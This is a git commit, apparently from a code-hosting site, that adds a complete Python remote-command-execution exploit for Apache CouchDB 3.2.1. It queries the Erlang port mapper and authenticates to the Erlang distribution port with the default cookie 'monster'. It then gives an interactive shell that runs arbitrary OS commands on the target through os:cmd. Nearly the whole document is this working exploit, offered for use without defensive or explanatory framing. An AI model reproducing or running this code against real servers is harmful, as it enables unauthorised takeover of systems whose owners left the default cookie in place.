add Apache CouchDB 3.2.1 RCE
This commit is contained in:
parent
c3dbd01f10
commit
a2e4fc15f2
@ -0,0 +1,120 @@
|
||||
#!/usr/local/bin/python3
|
||||
|
||||
import socket
|
||||
from hashlib import md5
|
||||
import struct
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
|
||||
TARGET = ""
|
||||
EPMD_PORT = 4369 # Default Erlang distributed port
|
||||
COOKIE = "monster" # Default Erlang cookie for CouchDB
|
||||
ERLNAG_PORT = 0
|
||||
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
|
||||
|
||||
# Some data:
|
||||
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
|
||||
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
|
||||
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
|
||||
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
|
||||
|
||||
|
||||
def compile_cmd(CMD):
|
||||
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
|
||||
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
|
||||
MSG += struct.pack(">H", len(CMD))
|
||||
MSG += bytes(CMD, 'ascii')
|
||||
MSG += b'jw\x04user'
|
||||
PAYLOAD = b'\x70' + CTRL_DATA + MSG
|
||||
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
|
||||
return PAYLOAD
|
||||
|
||||
print("Remote Command Execution via Erlang Distribution Protocol.\n")
|
||||
|
||||
while not TARGET:
|
||||
TARGET = input("Enter target host:\n> ")
|
||||
|
||||
# Connect to EPMD:
|
||||
try:
|
||||
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
epm_socket.connect((TARGET, EPMD_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
|
||||
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
|
||||
data = epm_socket.recv(1024)
|
||||
data = data[0:len(data) - 1].decode('ascii')
|
||||
data = data.split("\n")
|
||||
if len(data) == 1:
|
||||
choise = 1
|
||||
print("Found " + data[0])
|
||||
else:
|
||||
print("\nMore than one node found, choose which one to use:")
|
||||
line_number = 0
|
||||
for line in data:
|
||||
line_number += 1
|
||||
print(" %d) %s" %(line_number, line))
|
||||
choise = int(input("\n> "))
|
||||
|
||||
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
|
||||
else:
|
||||
print("Node list request error, exiting")
|
||||
sys.exit(1)
|
||||
epm_socket.close()
|
||||
|
||||
# Connect to Erlang port:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((TARGET, ERLNAG_PORT))
|
||||
except socket.error as msg:
|
||||
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
|
||||
sys.exit(1)
|
||||
|
||||
s.send(NAME_MSG)
|
||||
s.recv(5) # Receive "ok" message
|
||||
challenge = s.recv(1024) # Receive "challenge" message
|
||||
challenge = struct.unpack(">I", challenge[9:13])[0]
|
||||
|
||||
#print("Extracted challenge: {}".format(challenge))
|
||||
|
||||
# Add Challenge Digest
|
||||
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
|
||||
+ bytes(str(challenge), "ascii")).digest()
|
||||
s.send(CHALLENGE_REPLY)
|
||||
CHALLENGE_RESPONSE = s.recv(1024)
|
||||
|
||||
if len(CHALLENGE_RESPONSE) == 0:
|
||||
print("Authentication failed, exiting")
|
||||
sys.exit(1)
|
||||
|
||||
print("Authentication successful")
|
||||
print("Enter command:\n")
|
||||
|
||||
data_size = 0
|
||||
while True:
|
||||
if data_size <= 0:
|
||||
CMD = input("> ")
|
||||
if not CMD:
|
||||
continue
|
||||
elif CMD == "exit":
|
||||
sys.exit(0)
|
||||
s.send(compile_cmd(CMD))
|
||||
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
|
||||
s.recv(45) # Control message
|
||||
data_size -= 45 # Data size without control message
|
||||
time.sleep(0.1)
|
||||
elif data_size < 1024:
|
||||
data = s.recv(data_size)
|
||||
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data.decode())
|
||||
data_size = 0
|
||||
else:
|
||||
data = s.recv(1024)
|
||||
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
||||
time.sleep(0.1)
|
||||
print(data.decode(),end = '')
|
||||
data_size -= 1024
|
Loading…
x
Reference in New Issue
Block a user